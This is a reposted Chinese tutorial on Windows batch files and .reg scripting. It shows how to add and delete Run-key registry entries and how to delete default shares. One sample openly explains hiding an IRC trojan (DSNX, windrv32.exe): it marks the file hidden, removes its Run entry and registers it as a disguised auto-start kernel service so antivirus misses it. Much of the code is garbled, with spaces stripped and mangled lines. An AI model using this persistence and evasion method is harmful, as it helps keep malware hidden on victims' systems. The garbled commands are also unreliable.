学习使用批处理文件的意义第1/2页
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是“StringValue” door的类型是“REGSZValue” Autodos的类型是“DWORDValue” 2.修改 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit/s)即可。 3.删除 我们首先来说说删除一个项目名称,我们创建一个如下的文件: WindowsRegistryEditorVersion5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Ex4rch"=- 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了; 我们再看看删除一个子项,我们创建一个如下的脚本: WindowsRegistryEditorVersion5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 samlpe1:如上面的那个例子,如想生成如下注册表文件 WindowsRegistryEditorVersion5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128 只需要这样: @echoWindowsRegistryEditorVersion5.00>>Sample.reg @echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo"Invader"="Ex4rch">>Sample.reg @echo"door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo"Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @startwindrv32.exe @attrib+h+rwindrv32.exe @echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>patch.dll @echo"windsnx"=->>patch.dll @sc.execreateWindriversrvtype=kernelstart=autodisplayname=WindowsDriverbinpath=c:\winnt\system32\windrv32.exe @regedit/spatch.dll @deletepatch.dll @REM[删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] @REM这样不是更安全^_^. 六.精彩实例放送。 1.删除win2k/xp系统默认共享的批处理 ------------------------cutherethensaveas.bator.cmdfile--------------------------- @echopreparingtodeleteallthedefaultshares.whenreadypresanykey. @pause @echooff :Remcheckparametersifnullshowusage. if{%1}=={}goto:Usage :Remcodestart. echo. echo------------------------------------------------------ echo. echoNowdeletingallthedefaultshares. echo. netshare%1$/delete netshare%2$/delete netshare%3$/delete netshare%4$/delete nets |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 用批处理实现映射盘网络盘为固定盘符,请更改冲突的硬盘盘符下一篇: win32下的命令行集合
关于学习使用批处理文件的意义第1/2页的所有评论